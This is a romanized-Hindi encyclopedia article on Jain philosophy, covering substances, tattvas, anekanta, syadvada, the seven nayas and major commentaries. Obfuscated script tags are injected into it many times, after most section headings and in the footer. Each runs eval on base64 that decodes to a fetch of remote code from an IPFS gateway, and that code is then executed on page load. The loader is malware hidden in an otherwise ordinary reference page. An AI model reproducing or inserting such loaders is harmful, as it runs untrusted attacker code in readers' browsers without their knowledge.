जैन दर्शन और उसका उद्देश्य
'karmaratinh jayatiti jin:' is vyutpatti ke anusar jisane rag dvesh adi shatruoan ko jit liya hai vah 'jin' hai.
- arhat, arahant, jinendr, vitarag, parameshthi, apt adi usi ke paryayavachi nam haian. unake dvara upadisht darshan jainadarshan haian.
- achar ka nam dharm hai aur vichar ka nam darshan hai tatha yukti-pratiyukti roop hetu adi se us vichar ko sudridh karana nyay hai.
- jain darshan ka nirdesh hai ki achar ka anupalan vicharapoorvak kiya jaye. dharm, darshan aur nyay-in tinoan ke sumel se hi vyakti ke adhyatmik unnayan ka bhavy prasad kh da hota hai. *at: jain dharm ka jo 'atmoday' ke sath 'sarvoday'- sabaka kalyan uddisht hai.[1] usaka samarthan karana jain darshan ka lakshy haian jain dharm mean apana hi kalyan nahian chaha gaya hai, apitu sare rashtr, rashtr ki janata aur vishv ke janasamooh, yahaan tak ki pranimatr ke sukh evan kalyan ki kamana ki gee hai.[2]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
jain darshan ke pramukh aang
- dravy-mimaansa
- tattv-mimaansa
- padarth-mimaansa
- panchastikay-mimaansa
- anekant-vimarsh
- syadvad vimarsh
- saptabhangi vimarsh
dravy-mimaansa
- REDIRECTsaancha:mukhy
vaisheshik, bhatt aur prabhakar darshanoan mean dravy aur padarth donoan ko svikar kar unaka vivechan kiya gaya hai. tatha saankhy darshan aur bauddh darshanoan mean kramash: tattv aur ary satyoan ka kathan kiya gaya hai, vedant darshan mean keval brahm (atmatatv) aur charvak darshan mean bhoot tattvoan ko mana gaya hai, vahaan jain darshan mean dravy, padarth, tattv, aur astikay ko svikar kar un sabaka prithakh-prithakh vistrit niroopan kiya gaya hai.[3]
- jo jney ke roop mean varnit hai aur jinamean hey-upadey ka vibhajan nahian hai par tattvajnan ki drishti se jinaka janana zaroori hai tatha gun aur paryayoan vale haian evan utpad, vyay, dhrauvy yukt haian, ve dravy haian.
- tattv ka arth matalab ya prayojan hai. jo apane hit ka sadhak hai vah upadey hai aur jo atmahit mean badhak hai vah hey hai. upadey evan hey ki drishti se jinaka pratipadan ke unhean tattv kaha gaya hai.
- bhasha ke padoan dvara jo abhidhey hai ve padarth haian. unhean padarth kahane ka ek abhipray yah bhi hai ki 'arthyateabhilashyate mumukshubhirityarth:' mumukshuoan ke dvara unaki abhilasha ki jati hai, at: unhean arth ya padarth kaha gaya hai.
- astikay ki paribhasha karate hue kaha hai ki jo 'asti' aur 'kay' donoan hai. 'asti' ka arth 'hai' hai aur 'kay' ka arth 'bahupradeshi' hai arthath jo dravy hai' hokar kayavale- bahupradeshi haian, ve 'astikay' haian.[4] aise paanch dravy haian-
- pudgal
- dharm
- adharm
- akash
- jiv
- kaladravy ek pradeshi hone se astikay nahian hai.
tattv mimaansa
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tattv ka arth hai prayojan bhoot vastu. jo apane matalab ki vastu hai aur jisase apana hit athava svaroop pahachana jata hai vah tattv hai. 'tasy bhav: tattvamh' arthath vastu ke bhav (svaroop) ka nam tattv hai. rrishiyoan ya shastroan ka jitana upadesh hai usaka kendr jiv (atma) raha hai. upanishadoan mean atma ke darshan, shravan, manan aur dhyan par adhik bal diya gaya hai aur inake madhyam se atma ke sakshatkar ki bat kahi gayi hai[5]. jain darshan to poori tarah adhyatmik hai. at: isamean atma ko tin shreniyoan mean vibhakt kiya gaya hai.[6]
- bahiratma,
- antaratma aur
- paramatma.
- moodh atma ko bahiratma, jagrit atma ko antaratma aur ashesh gunoan se sampann atma ko paramatma kaha gaya hai. ye ek hi atma ke unnayan ki vikasit tin shreniyaan haian. jaise ek arambhik abodh balak shikshak, pustak, pathashala adi ki sahayata se sarvochch shiksha pakar subodh ban jata hai vaise hi ek moodhatma satsangati, sadachar-anupalan, jnanabhyas adi ko prapt kar antaratma (mahatma) ban jata hai aur vahi jnan, dhyan tap adi ke nirantar abhyas se karm-kalank se mukt hokar paramatma (arahant v siddh roop eeshvar) ho jata hai. is disha mean jain chintakoan ka chintan, atm vidya ki or lagav apoorv hai.
padarth mimaansa
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ukt sat tattvoan mean puny aur pap ko sammilit kar dene par nau padarth kahe ge haian.[7]
panchastikay mimaansa
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
jain darshan mean ukt dravy, tattv aur padarth ke alava astikayoan ka niroopan kiya gaya hai. kaladravy ko chho dakar shesh paanchoan dravy (pudgal, dharm, adharm, akash aur jiv) astikay haian.[8]
anekant vimarsh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
'anekant' jainadarshan ka ullekhaniy siddhant hai. vah itana vyapak hai ki vah lok (logoan) ke sabhi vyavaharoan mean vyapt hai. usake bina kisi ka vyavahar chal nahian sakata.
syadvad vimarsh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
syadvad usi prakar anekant ka vachak athava vyavasthapak hai jis prakar jnan us anekant ka vyapak athava vyavasthapak hai. jab jnan ke dvara vah jana jata hai to donoan mean jnan-jney ka sanbandh hota hai aur jab vah syadvad ke dvara kaha jata hai to unamean vachy-vachak sanbandh hota hai. jnan ka mahattv yah hai ki vah jney ko janakar un jneyoan ki vyavastha banata hai- unhean mishrit nahian hone deta hai. yah amuk hai, yah amuk nahian hai is prakar vah jnata ko us us jney ki parichchhitti karata hai. syadvad ka bhi vahi mahattv hai. vah vachanaroop hone se vachy ko kahakar usake any dharmoan ki maun vyavastha karata hai. jnan aur vachan mean aantar yahi hai ki jnan ek sath anek jneyoan ko jan sakata hai par vachan ek bar mean ek hi vachy dharm ko kah sakata hai, kyoanki 'sakriduchcharit shabd: ekamevarth gamayati' is niyam ke anusar ek bar bola gaya vachan ek hi arth ka bodh karata hai.
- samantabhadr ki 'apt-mimaansa', jise 'syadvad-mimaansa' kaha ja sakata hai, aisi kriti hai, jisamean ek sath syadvad, anekant aur saptabhangi tinoan ka vishad aur vistrit vivechan kiya gaya hai. akalankadev ne us par 'ashtashati' (apt mimaansa- vivriti) aur vidyanand ne usi par 'ashtasahastri' (aptamimaansalankriti) vyakhya likhakar jahaan aptamimaansa ki karikaoan evan unake pad-vakyadikoan ka vishad vyakhyan kiya hai vahaan in tinoan ka bhi advitiy vivechan kiya hai.
agam (shrut)
shabd, sanket, cheshta adi poorvak jo jnan hota hai vah agam hai. jaise- 'meru adik hai' shabdoan ko sunane ke bad sumeru parvat adi ka bodh hota hai.[9] shabd shravanadi matijnan poorvak hone se yah jnan (agam) bhi paroksh praman hai. is tarah se smrityadi paanchoan jnan jnanantarapeksh haian. smaran mean dharana roop anubhav (mati), pratyabhijnan mean anubhav tatha smaran, tark mean anubhav, smriti aur pratyabhijnan, anuman mean liangadarshan, vyapti smaran aur agam mean shabd, sanketadi apekshit haian- unake bina unaki utpatti sanbhav nahian hai. atev ye aur is jati ke any sapeksh jnan paroksh praman mane gaye haian.
nay-vimarsh
nay-svaroop— abhinav dharmabhooshan ne[10] nyay ka lakshan karate hue kaha hai ki 'praman-nayatmako nyay:'- praman aur nay nyay haian, kyoanki in donoan ke dvara padarthoan ka samyakh jnan hota hai. apane is kathan ko pramanit karane ke lie unhoanne achary griddhapichchh ke tattvarthasootr ke, jise 'mahashastr' kaha jata hai, us sootr ko prastut kiya hai, jisamean praman aur may ko jivadi tattvarthoan ko janane ka upay bataya gaya hai aur vah hai- 'pramananayairadhigam:[11]'. vastut: jain nyay ka bhavy prasad isi mahattvapoorn sootr ke adhar par nirmit hua hai.
nay-bhed
uparyukt prakar se mool nay do haian[12]-
- dravyarthik aur
- paryayarthik.
- inamean dravyarthik tin prakar ka haian[13]-
- naigam,
- sangrah,
- vyavahar. tatha
- paryayarthik nay ke char bhed haian[14]-
- rrijusootr,
- shabd,
- samabhiroodh aur
- evambhoot.
naigam nay jo dharm aur dharmi mean ek ko pradhan aur ek ko gaun karake praroopan karata hai vah naigam nay hai. jaise jiv ka gun sukh hai, aisa kahana. isamean 'sukh' dharm ki pradhanata aur 'jiv' dharmi ki gaunata hai athava yah sukhi jiv hai, aisa kahana. isamean 'jiv' dharmi ki pradhanata hai, kyoanki vah visheshy hai aur 'sukh' dharm gaun hai, kyoanki vah visheshan hai. is nay ka any prakar se bhi lakshan kiya gaya hai. jo bhavi kary ke sankalp ko batalata hai vah naigam nay hai.
sangrah nay jo pratipaksh ki apeksha ke sath 'sanmatr' ko grahan karata hai vah sangrah nay hai. jaise 'sath' kahane par chetan, achetan sabhi padarthoan ka sangrah ho jata hai, kintu sarvatha 'sath' kahane par 'chetan, achetan visheshoan ka nishedh hone se vah sangrahabhas hai. vidhivad is koti mean samavisht hota hai.
vyavahar nay sangrahanay se grahan kiye 'sath' mean jo nay vidhipoorvak yathayogy bhed karata hai vah vyavaharanay hai. jaise sangrahanay se grihit 'sath' dravy he ya paryapt hai ya gun hai. par matr kalpana se jo bhed karata hai vah vyavaharanayabhas hai.
rrijusootr nay bhoot aur bhavishyat paryayoan ko gaun kar keval vartaman paryay ko jo nay grahan karata hai vah rrijusootranay hai. jaise pratyek vastu prati samay parinamanashil hai. vastu ko sarvatha kshanik manana rrijusootranay hai, kyoanki isamean vastu mean hone vali bhoot aur bhavishyat ki paryayoan tatha unake adharabhoot anvayi dravy ka lop ho jata hai.
shabd nay
jo kal, karak aur ling ke bhed se shabd mean kathan chith arthabhed ko batalata hai vah shabdanay hai. jaise 'naktan nisha' donoan paryayavachi haian, kintu donoan mean liang bhed hone ke kathan chith arthabhed hai. 'naktan' shabd nanpusak liang hai aur 'nisha' shabd striliang hai. 'shabdabhedath dhruvoarthabhed:' yah nay kahata hai. arthabhed ko kathan chith mane bina shabdoan ko sarvatha nana batalakar arth bhed karana shabdanayabhas haian
samabhiroodh nay
jo paryay bhed padarth ka kathanchith bhed niroopit karata hai vah samabhiroodh nay hai. jaise indr, shakr, purandar adi shabd paryay shabd hone se unake arth mean kathan chith bhed batana. paryay bhed mane bina unaka svatantr roop se kathan karana samabhiroodh nayabhas hai.[15]'
evanbhoot nay
jo kriya bhed se vastu ke bhed ka kathan karata hai vah evanbhoot nay haian jaise padhate samay hi pathak ya adhyapak athava pooja karate samay hi pujari kahana. yah nay kriya par nirbhar hai. isaka vishay bahut sookshm hai. kriya ki apeksha n kar kriya vachak shabdoan ka kalpanik vyavahar karana evanbhootanayabhas hai.
jain darshan ka udbhav aur vikas
udbhav
- achary bhootabali aur pushpadant dvara nibaddh 'shatkhandagam' mean, jo drishtivad aang ka hi aansh hai, 'siya pajjatta', 'siya apajjata', 'manus apajjatta davvapamanen kevadiya', 'akhankhejja* 'jaise 'siya' (syath) shabd aur prashnottari shaili ko lie prachur vaky pae jate haian.
- 'shatkhandagam' ke adhar se rachit achary kundakund ke 'panchastikay', 'pravachanasar' adi arsh granthoan mean bhi unake kuchh aur adhik udgamabij milate haian. 'siy atthinatthi uhayan', 'jamha' jaise yukti pravan vakyoan evan shabd prayogoan dvara unamean prashnottar poorvak vishayoan ko dridh kiya gaya hai.
vikas
kal ki drishti se unake vikas ko tin kalakhandoan mean vibhakt kiya ja sakata hai aur un kalakhandoan ke nam nimn prakar rakhe ja sakate haian :-
- adikal athava samantabhadr-kal (ee. 200 se ee. 650).
- madhyakal athava akalank-kal (ee. 650 se ee. 1050).
- uttaramadhyayug (antyakal) athava prabhachandr-kal (ee. 1050 se 1700). age vistar mean padhean:- jain darshan ka udbhav aur vikas
jain darshan ke pramukh granth
achary jinasen aur gunabhadr : ek parichay
- ye donoan hi achary us panchastoop namak anvay mean hue haian jo age chalakar senanvay ka senasangh ke nam se prasiddh hua hai. jinasen svami ke guru virasen ne bhi apana vansh patrchastoopanvay hi likha hai. parantu gunabhadrachary ne senanvay likha hai. indranandi ne apane shrutavatar mean likha hai ki jo muni panchastoop nivas se aye unamean se kinhian ko sen aur kinhian ko bhadr nam diya gaya. tatha koee achary aisa bhi kahate haian ki jo guhaoan se aye unhean nandi, jo ashok van se aye unhean dev aur jo panchastoop se aye unhean sen nam diya gaya. shrutavatar ke ukt ullekh se pratit hota hai ki senant aur bhadrant nam vale muniyoan ka samooh hi age chalakar senanvay ya sena sangh se prasiddh hua hai.
jinasenachary siddhantashastroan ke mahanh jnata the. inhoanne kashayaprabhrit par 40 hazar shlok praman jayadhaval tika likhi hai. achary virasen svami us par 20 hazar shlok praman tika likh paye the aur ve divangat ho gaye the. tab unake shishy jinasenachary ne 40 hazar shlok praman tika likhakar use poorn kiya. age vistar mean padhean:- jain darshan ke pramukh granth
jain darshan mean adhyatm
'adhyatm' shabd adhi+atm –in do shabdoan se bana hai, jisaka arth hai ki atma ko adhar banakar chintan ya kathan ho, vah adhyatm hai. yah isaka vyutpatti arth he. yah jagath jain darshan ke anusar chhah dravyoan ke samudayatmak hai. ve chhah dravy haian-
- jiv,
- pudgal,
- dharm,
- adharm,
- akash aur
- kal. age vistar mean padhean:- jain darshan mean adhyatm
jain tarkik aur unake nyayagranth
bisavian shati ke jain tarkik
bisavian shati mean bhi katipay darshanik evan naiyayik hue haian, jo ullekhaniy haian. inhoanne prachin acharyoan dvara likhit darshan aur nyay ke granthoan ka n keval adhyayan-adhyapan kiya, apitu unaka rashtrabhasha hindi mean anuvad evan sampadan bhi kiya hai. sath mean anusandhanapoorn vistrit prastavanaean bhi likhi haian, jinamean granth evan granthakar ke aitihasik parichay ke sath granth ke pratipady vishayoan ka bhi tulanatmak evan samikshatmak akalan kiya gaya hai. kuchh maulik granth bhi hindi bhasha mean likhe gaye haian. santapravar nyayachary pan. ganeshaprasad varni nyayachary, pan. manikachandr kaundey, pan. sukhalal sanghavi, da. pan. mahendrakumar nyayachary, pan. kailash chandr shastri, pan. dalasukh bhair malavaniya evan is lekh ke lekhak da. pan. darabari lala kothiya nyayachary adi ke nam vishesh ullekh yogy haian. age vistar mean padhean:- jain tarkik aur unake nyayagranth
tribhangi tika
- asravatribhangi,
- bandhatribhangi,
- udayatribhangi aur
- sattvatribhangi-in 4 tribhangiyoan ko sankalit kar tikakar ne in par sanskrit mean tika ki hai.
- asravatribhangi 63 gatha praman hai.
- isake rachayita shrutamuni haian.
- bandhatribhangi 44 gatha praman hai tatha usake karta nemichand shishy madhavachandr haian. age vistar mean padhean:- tribhangi tika
panchasangrah tika
mool panchasangrah namak yah moolagranth prakrit bhasha mean hai. is par tin sanskrit-tikaean haian.
- shripalasut daddha virachit panchasangrah tika,
- achary amitagati rachit sanskrit-panchasangrah,
- sumatakirtikrit sanskrit-panchasangrah.
- pahali tika digambar prakrit panchasangrah ka sanskrit-anushtupoan mean parivartit roop hai. isaki shlok sankhya 1243 hai. kahian kahian kuchh gadyabhag bhi paya jata hai, jo lagabhag 700 shlok praman hai. is tarah yah lagabhag 2000 shlok praman hai. yah 5 prakaranoan ka sangrah hai. ve 5 prakaran nimn prakar haian-
- jivasamas,
- prakritisamutkirtan,
- karmastav,
- shatak aur
- saptatika.
- isi tarah any donoan sanskrit tikaoan mean bhi saman varnan hai.
- vishesh yah hai ki achary amitagati krit panchasangrah ka pariman lagabhag 2500 shlok praman hai. tatha sumatakirti krit panchasangrah ati saral v spasht hai.
- is tarah ye tinoan tikaean sanskrit mean likhi gee haian aur saman hone par bhi unamean apani apani visheshataean paee jati haian.
- karm sahity ke visheshajnoan ko in tikaoan ka bhi adhyayan karana chahie. age vistar mean padhean:- panchasangrah tika
mandraprabodhini
- shauraseni prakrit bhasha mean achary nemichandr si0 chakravarti dvara nibaddh gommatasar moolagranth ki sanskrit bhasha mean rachi yah ek vishadh aur saral vyakhya hai. isake rachayita abhayachandr siddhantachakravarti haian. yadyapi yah tika apoorn hai kintu karmasiddhant ko samajhane ke lie ek atyant pramanik vyakhya hai. keshavavarni ne inaki is tika ka ullekh apani kannadatika mean, jisaka nam karnatakavritti hai, kiya hai. isase jnat hota hai ki keshavavarni ne unaki is mandaprabodhini tika se labh liya hai.
- gommatasar achary nemichandr siddhantachakravarti dvara likha gaya karm aur jiv vishayak ek prasiddh evan mahattvapoorn prakrit-granth hai. isake do bhag haian-
- ek jivakand aur
- doosara karmakand.
jivakand mean 734 aur karmakand mean 972 shauraseni-prakrit bhashabaddh gathaean haian. karmakand par sanskrit mean 4 tikaean likhi gee haian. ve haian-
- gommat panjika,
- mandaprabodhini,
- kann d sanskrit mishrit jivatattvapradipika,
- sanskrit mean hi rachit any nemichandr ki jivatattvapradipika. in tikaoan mean vishayasamy hai par vivechan ki shaili inaki alag alag haian. bhasha ka pravah aur saralata inamean dekhi ja sakati hai.
age vistar mean padhean:- mandraprabodhini <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
- ↑ sarvodayan tirthamidan tavaiv–samantabhadr yuktyanu. ka. 61
- ↑ ksheman sarvaprajanaan prabhavatu balavanh dharmiko bhoomipal: kale varsh pradishatu maghava vyadhayo yantu nashamh. durbhikshan chauramari kshanamapi jagataan ma sm bhoojjivaloke, jainendran dharmachakran prabhavatu satatan sarvasaukhyapradayi॥
- ↑ traikalyan dravyashatkan navapadasahitan jivashatkay - leshya:, panchanye chastikaya vrat samiti-gati-jnan- charitrabheda:. ityetanmokshamoolan tribhuvanamahitai: proktamarhadibharishai: pratyeti shraddadhati sprishati ch matimanh y: s vai shuddhadrishti:॥ - stavanasankalan.
- ↑ panchastikay, ga. 4-5 dravy san. ga. 24
- ↑ shrotavy:shrutivakyebhyo mantavyashchopapattibhi:. matva ch statan dhyey ete darshanahetav:॥
- ↑ kundakund, moksh prabhrit ga. 4, 5, 6, 7
- ↑ jiva jiva bhava punnan pavan ch asavan tesian. sanvar-nijjar bandho mokkho y havanti te atth॥–panchasti., ga. 108
- ↑ dravy san. ga. 23, 24, 25
- ↑ pari.mu. 3-99, 100, 101
- ↑ nyayadipika, pri. 5, sanpadan d aau. darabarilal kothiya, 1945
- ↑ tattvarthasootr, 1-6
- ↑ pramayaratnamala 6/74, pri. 206, san. 1928
- ↑ pramayaratnamala, 6/74
- ↑ pramayaratnamala, pri. 207
- ↑ 'tatr pramanan dvividhan svarthan pararthan ch. tatr svarthan pramanan shrutavarjyamh shrutan pun: svarthan bhavati pararthan ch. - sarvarthasiddhi 1-6, bha. jna. sanskaran
sanbandhit lekh
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>